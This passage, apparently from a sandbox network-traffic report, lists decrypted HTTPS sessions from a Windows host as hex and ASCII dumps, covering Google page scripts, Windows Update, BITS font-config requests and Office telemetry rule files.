aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-23 00:14:10 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-23 00:14:10 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-23 00:14:10 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 36 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700276,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-23 00:14:10 UTC	1078	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-23 00:14:10 UTC	481	IN	Data Raw: 31 64 61 0d 0a 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f Data Ascii: 1da#html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_
2024-11-23 00:14:10 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c Data Ascii: 8000a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\
2024-11-23 00:14:10 UTC	1390	IN	Data Raw: 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c Data Ascii: ion(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49715	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:13 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XxOFOFpDXBZmBM8&MD=x+H955wz HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 00:14:14 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 39d3af65-80ef-4f67-9347-6880e863b6d7 MS-RequestId: be940fe9-684d-44fc-9c78-aa60a7a81740 MS-CV: fG7vzqvgl0CReHZ1.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 00:14:14 GMT Connection: close Content-Length: 24490
2024-11-23 00:14:14 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 00:14:14 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49722	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:14 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 00:14:14 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=59432 Date: Sat, 23 Nov 2024 00:14:14 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49731	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:16 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 00:14:16 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=59486 Date: Sat, 23 Nov 2024 00:14:16 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 00:14:16 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:16 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:17 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 21 Nov 2024 12:25:08 GMT ETag: "0x8DD0A27899CAFB6" x-ms-request-id: cb7fa3cf-001e-000b-073d-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001417Z-15b8b599d88s6mj9hC1TEBur3000000001x000000000hegs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:17 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 00:14:17 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 00:14:17 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 00:14:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 00:14:17 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 00:14:17 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 00:14:17 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
